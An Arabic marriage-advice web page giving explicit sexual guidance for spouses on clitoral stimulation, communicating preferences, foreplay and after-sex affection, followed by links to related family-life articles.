بعض النساء تحب استثارة البظر من (الأعلى الى الأسفل) , والبعض منهن تثار بشكل أكبر عندما يثار البظر بحركات ( من اليمين الى اليسار ) , و آخرون يفضلن ( الحركات الدائرية ) , كما أن هناك من النساء من تحب كل ما تقدم من الحركات.
ملاحظة هامة آخرى :
غالبا ما يكون هناك جانب من البظر أكثر حساسية من الجانب الآخر , فعند بعض النساء يكون (الجانب الأيمن) من البظر أكثر حساسية من ( الجانب الأيسر ) , أو العكس !
لذلك ( يجب ) على الرجل أن يسأل زوجته عما تفضل , كما ( يجب ) على المرأة أن تخبر زوجها عما تحب بدون أي حياء أو خجل , فتعليم المرأة لزوجها أثناء العملية الجنسية ( يثير الرجل لحد الجنون !!) , كما أن تعليمها اياه سيعود عليها بالنفع من جهتين :
1- ستستمتع أكثر من اللقاء الجنسي.
2- سيحبها زوجها بشكل أكبر , لأن الزوج لا يحب المرأة الخجولة من الجنس.
كما أن على المرأة أن تخبر زوجها بمقدار السرعة والضغط الذي تفضله , ومتى يزيد أو يقلل منهما.
ملاحظة أخرى ثالثة:
عند استثارة البظر ,( يفضل كثيرا ) وضع اصبع ومن ثم اصبعين داخل المهبل في نفس الوقت وتحريكهما دخولا وخروجا ان أمكن.
كما ( يجب ) ادخال الاصابع بشكل ( بطيء جدا ) , وهذا جزء مما يسمى ب ( التعذيب المرغوب ) أيضا !
ويمكن للزوج الاستمرار في استثارة البظر و المهبل بيديه الى أن تصل الزوجة الى النشوة الجنسية أو الرعشة الجنسية , وعند اقترابها أو و صولها للنشوة يمكن لة أن يبدأ ( عملية الجماع ) و ايلاج القضيب بدلا من الأصابع في المهبل.
مداعبات ما بعد الجماع:
بعد بلوغ المرأة للنشوة الجنسية تكون ( دائما ) بأمس الحاجة الى عناق و قبلات زوجها لعدة دقائق حتى تهدأ نفسها قليلا , فلا تكمل سعادتها ونشوتها من دون تلك اللحظات الحساسة. ولكن بالمقابل , فان الرجل يشعر بالخمول الشديد والنعاس الشديد بعد وصوله الى النشوة الجنسية والقذف.
لذا على الزوج أن يفهم طبيعة زوجته الجنسية و أن يحاولة التغلب على أنانيته ورغبته في (الجماع السريع) , وأن يعطي مداعبات ( ما قبل و ما بعد الجماع ) حقها الكامل , هذا اذا أراد اسعاد زوجته !!

كيف تعطي زوجتك نشوة جنسية لم تحلم بها من قبل ؟؟

14/04/09


إقرأ أيضا
الكثير من الحب
الأنثى هي الأنثى في كل مكان، والحب هو الحب في كل زمان. السلام النفسي لا أجده إلا في رحاب اللون الأخضر، حينما أجلس في الحديقة يدهشني كل هذا الجمال الكو ...
[زيارات : 1284]
برنامج عملي لحياة زوجية سعيدة
السعادة الزوجية ليست معطيا ثابتاً، وإنما تزيد وتنقص حسب ما يبذله الزوجان من جهد لتحقيقها؛ ولذا فهي تحتاج إلى سعي دؤوب وجهد متواصل، ليس فقط لتحقيقها، ب ...
[زيارات : 1102]
أخطاء الزوجات في اللقاء الحميم
تراجعت مساحة الرضا عن اللقاء الزوجي الحميم بين الزوجات، وتزايدت الشكاوى من الأزواج وتضاعفت كلمات اللوم والانتقاد، فضلا عن نظرات العتاب وما يتبع ذلك من ...
[زيارات : 1870]
الاسئلة عن الدورة الشهرية ومتاعب الحمل حتى الولادة
أنا في السابعة والعشرين من العمر في الشهر الأخير من الحمل، سؤالي الأول: أجد صعوبة في النوم خلال هذا الشهر، وأيضا لا أعرف على أي جانب على أن أستلقي ف ...
[زيارات : 5091]
التكنولوجيا العصرية حطمت السعادة الأسرية
فيروس العلاقات الإلكترونية يغزو العلاقة الزوجية: ماذا حدث للعلاقات الزوجية والأسرية في وجود أدوات التكنولوجيا العصرية (الكمبيوتر الإترنت التلفاز ا ...
[زيارات : 1254]